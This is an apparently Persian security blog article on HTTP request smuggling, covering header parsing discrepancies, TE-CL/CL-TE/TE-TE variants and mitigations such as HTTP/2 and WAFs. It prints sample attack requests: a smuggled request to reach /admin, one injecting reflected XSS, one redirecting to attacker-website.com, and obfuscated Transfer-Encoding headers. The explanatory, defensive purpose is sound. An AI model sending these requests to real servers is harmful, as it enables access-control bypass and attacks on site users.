آسیب پذیری قاچاق (smuggling) در Http و راههای امن سازی آن

  • نویسنده: سامان ارشی
  • تاریخ انتشار: یک‌شنبه ، ۲۷ تیر ماه ۰۰
  • تعداد بازدید: 1201
  • تعداد نظرها: 0
  • دسته بندی: ارزیابی امنیتی

مقدمه

با توجه به رواج استفاده از سامانه های تحت وب و وابستگی بیش از پیش سازمانها به ارائه خدمات برخط به مشتریان و ذینفعان، تأمین امنیت این سامانه ها دارای اهمیت ویژه ای است. لذا اطمینان از امنیت این سرویسها از منظر کسب و کار بسیار مهم است. Open Web Application Security Protocol Project (OWASP) یک متدولوژی یا بعبارت دقیق تر یک پروژه غیر دولتی است که در آن معیارهایی جهت ارزیابی امنیتی سامانه های تحت وب تشریح شده است. این متدولوژی منحصر به شرکت یا فرد یا سازمان خاصی نیست و هر کسی در هر جای دنیا می تواند به آن بپیوندد. در این متدولوژی مجموعه ای از آسیب پذیری ها فهرست شده است. کارشناسان تست نفوذ با تکیه بر چارچوبهای ارائه شده در این متدولوژی، مجموعه ای از ارزیابی های امنیتی را بر روی سامانه ها انجام می دهند تا به این وسیله ضمن شناسایی رخنه های امنیتی احتمالی، نسبت به رفع آنها (پیش از سوء استفاده توسط هکرها) اقدام شود.

این پروژه صرفاً به برنامه های کاربردی تحت وب محدود نمی شود و سایر برنامه های کاربردی (مانند اپلیکیشنهای موبایلی) را نیز شامل شده است. لذا در ارزیابی امنیتی اپلیکشنهای موبایلی نیز به خطوط راهنمای این پروژه استناد می شود.

آسیب پذیری HTTP Request Smuggling یکی از انواع آسیب پذیری‌هایی است که در این فهرست طولانی، مورد توجه قرار دارد و از منظر این متدولوژی، دارای درجه اهمیت بالا (High) می باشد و جزو آسیب پذیری های لایه 7 محسوب می شود (برای مطالعه بیشتر در مورد سایر آسیب پذیری های مرسوم در سطح شبکه، به وبلاگ آشنا ایمن مراجعه کنید). در ادامه ضمن تشریح این آسیب پذیری، نحوه سوء استفاده و نحوه امن سازی سامانه ها در برابر آن بیان شده است.

آسیب پذیری HTTP Request Smuggling  چیست؟

  قاچاق درخواست http یک آسیب پذیری امنیتی است که به مهاجم اجازه می دهد تا در نحوه پردازش درخواست های http دریافتی از سوی سرور تداخل ایجاد کند. این آسیب پذیری به مهاجمان یا هکرها اجازه می دهد تا کنترل های امنیتی را دور بزنند و به داده هایی دسترسی پیدا کنند که در شرایط واقعی نباید به آنها دسترسی داشته باشند.

زیرساخت یک سامانه و نحوه تعامل بین کاربر و سرور (Front-end , Back-end)

قبل از بررسی بیشتر در مورد آسیب پذیری http Request Smuggling لازم است زیرساخت های رایج برای ارتباط بین سرویس گیرنده (Client) و سرویس دهنده (Server) تشریح شود. برنامه‌های کاربردی متداول معمولاً دارای معماری چند لایه (حداقل دو لایه شامل Back End و Front End) هستند که ممکن است هر کدام از آنها بر روی یک سرور مستقل نصب شده باشند. ارتباط کاربر با لایه Front End است و این لایه بعنوان واسطه بین کاربر و هسته اصلی برنامه (که شامل پایگاه داده نیز می‌شود) عمل می کند. بصورت کلی جریان ارتباطی از کاربر تا هسته مرکزی برنامه کاربردی شامل چند مرحله است:

  • ارسال درخواست از سمت کاربر به لایه بیرونی برنامه کاربردی (Front End)
  • پردازش اولیه درخواست کاربر توسط لایه بیرونی
  • ارسال درخواست پردازش شده از لایه بیرونی به هسته مرکزی: پس از اینکه سرور Front-end چندین درخواست http را از کاربران مختلف دریافت کرد، یک اتصال TCP با سرور Back-end برقرار کرده و درخواستها را از طریق این اتصال یکتا، برای Back End ارسال می کند. در پروتکل HTTP/1.1 که در حال حاضر بسیار استفاده می شود، سرآیندی به نام Connection وجود دارد که اگر مقدار آن برابر keep alive قرار داده شود، این اتصال بعد از ارسال یک درخواست http از بین نمی رود و زنده می ماند. مزیت این کار کاهش سربار سرور می باشد و این امکان را برای سرور فراهم می کند تا از طریق یک اتصال بتواند چندین درخواست را به سمت سرور Back-end ارسال نماید.

 

  • تفکیک درخواستهای دریافتی توسط سرورهای Back-end: برای تشخیص یک درخواست از درخواست دیگر، سرور هدرهای درخواست http را تجزیه می کند تا تعیین کند یک درخواست کجا به پایان رسیده و درخواست بعدی از کجا شروع می شود.

  • پردازش درخواستها توسط سرور Back End
  • ارسال پاسخ به سرور/لایه Front End
  • ارسال پاسخ از Front End به کاربر

 

نحوه تفکیک درخواستهای متوالی

برای تفکیک درخواستها از یکدیگر در ساختار درخواستهای http، دو سرآیند (Header) Content-Length و Transfer-Encoding پیش بینی شده است.

  • سرآیند Content-Length: این سرآیند این امکان را فراهم می کند که طول متن پیام مشخص شود. نمونه ای از این درخواستها به شکل زیر است:

POST / HTTP/1.1

Host: shiftleft.io

Content-Type: application/x-www-form-urlencoded

Content-Length: 23

 

  • سرآیند Transfer-Encoding: این سرآیند نوع رمزنگاری متن پیام بین فرستنده و گیرنده را مشخص می کند.

POST / HTTP/1.1

Host: shiftleft.io

Content-Type: application/x-www-form-urlencoded

Transfer-Encoding: chunked

14\r\n

HelloShiftLeft\r\n

0\r\n

شرایط لازم برای اجرای آسیب پذیری  

بر اساس استانداردهای منتشر شده توسط IETF برای پروتکلهای ارتباطی، قرار دادن همزمان مقدار برای هر دو سرآیند Content-Length و Transfer-Encoding غیر مجاز است و صرفاً می توان به یکی از آنها مقدار داد. لذا چنانچه هر دو سرآیند مقدار دهی شوند، سرور صرفاً یکی از آنها را در نظر می‌گیرد و از دیگری چشم پوشی می کند. بر اساس استاندارد اولویت سرآیند Transfer-Encoding بالاتر بوده و در صورتیکه هر دو سرآیند در متن درخواست باشند، سرور باید سرآیند Content-Length را نادیده بگیرد.

چنانچه این دو سرآیند به مقادیر متفاوتی اشاره کنند، اختلاف بین دو سرور برای تشخیص انتهای درخواست، عامل وقوع این آسیب پذیری (قاچاق درخواست http) است. این اختلاف ممکن است ناشی از دو عامل باشد:

  • برخی از سرورها از سرآیند Transfer-Encoding پشتیبانی نمی کنند.
  • ممکن است متن درخواست بصورت مبهم سازی شده (Obfuscated) باشد و سرور مقصد نتواند آن را تشخیص دهد.

در هر حال از آنجا که یکی از سرورها از سرآیند Content-Length برای تشخیص طول درخواست استفاده می کند، این موضوع سبب ایجاد تناقض بین دو سرور خواهد شد که فرصتی را جهت سوء استفاده در اختیار مهاجمان قرار می دهد.

لذا برای اجرای موفقیت آمیز این حمله، لازم است که مهاجم از نحوه کار هر دو سرور فرستنده و گیرنده مطلع باشد.

حالت های مختلف آسیب پذیری

فرض کنید یک درخواست از سمت سرور Front End به سمت سرور Back End ارسال شده است. اختلاف بین دو سرور در تشخیص طول درخواست، ممکن است به چند شکل روی دهد:

1- حالت TE-CL: زمانی رخ می دهد که سرور Front-end سرآیند Transfer-Encoding را در نظر می گیرد و سرور Back-end سرآیند Content-Length را بررسی می کند.

POST / HTTP/1.1

Host: shiftleft.io

Content-Length: 3

Transfer-Encoding: chunked

 

8

smuggled

0

 

توضیح: سرور Front End سرآیند Transfer-Encoding را بررسی و تا آخر پیغام را پردازش می کند و آن را به سمت سرور Back-end ارسال می کند. سرور Back-end سرآیند Content-Length  را بررسی می کند و تنها 3 بایت را پردازش کرده و درخواست Smuggled را به عنوان درخواست بعدی در نظر می گیرد.

2- حالت CL-TE: زمانی رخ می دهد که سرور Front-end سرآیند Content-Length را در نظر می گیرد و سرور Back-end سرآیند Transfer-Encoding را بررسی می کند.

POST / HTTP/1.1

Host: example.com

Content-Length: 13

Transfer-Encoding: chunked

 

0

Smuggled

توضیح: زمانی که این درخواست به وب سرور می رسد، طول پیام را 13 بایت در نظر گرفته و تا آخر Smuggled را پردازش می کند و درخواست را به سمت سرور Back-end ارسال می کند. در سمت Back-end سرآیند Transfer-Encoding بررسی می شود و بعد از پردازش چون عدد صفر آورده شده است، متوجه می شود که این درخواست به آخر رسیده در نتیجه Smuggled را پردازش نکرده و به عنوان شروع درخواست بعدی در نظر می گیرد.

 

3- حالت TE-TE: در این حالت اگرچه هر دو سرور سرآیند Transfer-Encoding را در نظر می گیرند، اما بدلیل آنکه این سرآیند ممکن است مبهم سازی شده باشد، یکی از سرورها امکان تشخیص آن را ندارد. برای مبهم سازی این سرآیند ممکن است از روشهای زیر (بعنوان نمونه) استفاده شود:

Transfer-Encoding: chunked

Transfer-Encoding: xchunked

Transfer-Encoding: chunked

Transfer-Encoding:              chunked

توضیح: در این حالت هر دو سرور سرآیند Transfer-Encoding را در نظر می گیرند، اما مهاجم می تواند با مبهم سازی سرآیند باعث شود یکی از سرورها سرآیند را پردازش نکنند.

 

نحوه سوءاستفاده

1- دور زدن کنترل های امنیتی سرور Front-end (Bypass Security Control)

سرورهای Front-end ممکن است برخی از بررسی های امنیتی را انجام دهند. لذا با سوء استفاده از این آسیب پذیری می توان برخی از این بررسی ها را دور زد. در مثال زیر نمی توان از خارج به مسیر /admin دسترسی داشت و سرور Front-end آن را بررسی می کند. بنابراین می توان درخواست را به صورت زیر ارسال کرد:

POST / HTTP/1.1

Host: acb21fdd1f98c4f180c02944000100b5.mysite.it

Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 67

Transfer-Encoding: chunked

 

0

GET /admin HTTP/1.1

Host: localhost

Content-Length: 10

x=

2- ترکیب با سایر آسیب پذیری ها

در بسیاری از مواقع، ممکن است یک آسیب پذیری به تنهایی منجر به بهره‌برداری های مخرب نشود، اما در ترکیب با سایر آسیب پذیری ها، ممکن است اثرات بسیار مخربی داشته باشد. به همین دلیل است که همواره باید به رفع تمامی آسیب پذیری‌ها (فارغ از درجه اهمیت آنها) همت گماشت؛ زیرا در برخی مواقع سوء استفاده از این آسیب پذیری ها ممکن است به گرفتن دسترسی های طولانی مدت منجر شود. نمونه هایی از ترکیب آسیب پذیری‌ها در این بخش مطرح شده است:

  • استفاده از آسیب پذیری Http Request Smuggling برای اجرای Reflected XSS

POST / HTTP/1.1

Host: ac311fa41f0aa1e880b0594d008d009e. mysite.it

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0

Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY

Transfer-Encoding: chunked

Connection: keep-alive

Content-Length: 213

Content-Type: application/x-www-form-urlencoded

 

0

GET /post?postId=2 HTTP/1.1

Host: ac311fa41f0aa1e880b0594d008d009e. mysite.it

<User-Agent: ">

Content-Length: 10

Content-Type: application/x-www-form-urlencoded

A=

  • استفاده از آسیب پذیری Http Request Smuggling برای Redirect کردن به مسیر دیگر

GET /home HTTP/1.1

Host: normal-website.com

HTTP/1.1 301 Moved Permanently

Location: https://normal-website.com/home

این رفتار به طور معمول بی خطر تلقی می شود، اما می تواند برای هدایت کاربران به یک حوزه خارجی مورد سو استفاده قرار گیرد. بعنوان مثال:

POST / HTTP/1.1

Host: vulnerable-website.com

Content-Length: 54

Connection: keep-alive

Transfer-Encoding: chunked

 

0

GET /home HTTP/1.1

Host: attacker-website.com

Foo: X

روشهای امن سازی

برای جلوگیری از وقوع این حمله، چند روش کلی وجود دارد که نحوه عملکرد هر یک از این روشها در ادامه بصورت مختصر تشریح شده است:

  1. استفاده از پروتکل HTTP /2: در واقع این پروتکل از ابهام در مورد مرزهای بین درخواست ها جلوگیری می کند.

 

 

  1. استفاده از یک اتصال مستقل برای هر درخواست: همانطور که در بخش علت وقوع بیان شد یکی از دلایل به وجود آمدن این آسیب پذیری ارسال چند درخواست HTTP بر روی یک ارتباط TCP می باشد. استفاده از اتصال جداگانه برای هر درخواست می تواند تا حد زیادی از وقوع این آسیب پذیری جلوگیری کند.
  2. استفاده از نسخه یکسان برای نرم افزار وب سرور در هر دو سرور Front End یا Back End: با این روش می‌توان مطمئن بود که هر پیام در مبدأ و مقصد به یک شکل پردازش می شود و لذا احتمال ناهماهنگی بین دو وب سرور از بین خواهد رفت.
  3. استفاده از تجهیزات امنیتی جهت شناسایی ترافیک مخرب: بسیاری از WAFها می توانند ناهماهنگی در ترافیک درخواست HTTP را شناسایی و درخواستهای آلوده را مسدود کنند.

 

 

اگرچه امن سازی این آسیب پذیری یا سایر آسیب پذیری های سامانه های تحت وب یک مسأله مهم و شایان توجه است، اما باید توجه داشت که اولاً امنیت یک فرآیند است که در طول زمان نیازمند بازبینی و به روز رسانی است و ثانیاً یک کار تیمی است که تمامی ارکان مؤثر در آن، باید به وظایف خود واقف باشند. از این منظر جهت اطمینان از امنیت سامانه ها، اولاً لازم است در مرحله معماری سامانه و توسعه آن، اصول برنامه نویسی امن مد نظر قرار گیرد، ثانیاً با انجام ارزیابی های امنیتی دوره ای، رخنه های امنیتی سامانه ها بصورت مستمر پایش شود و ثالثاً با استفاده از چک لیستهای امنیتی و امن سازی های دوره ای، تا حد امکان این رخنه ها پوشش داده شود.

برای مطالعه مطالب بیشتر به وبلاگ آشنا ایمن مراجعه کنید.

نویسنده: سامان ارشی دسته بندی: ارزیابی امنیتی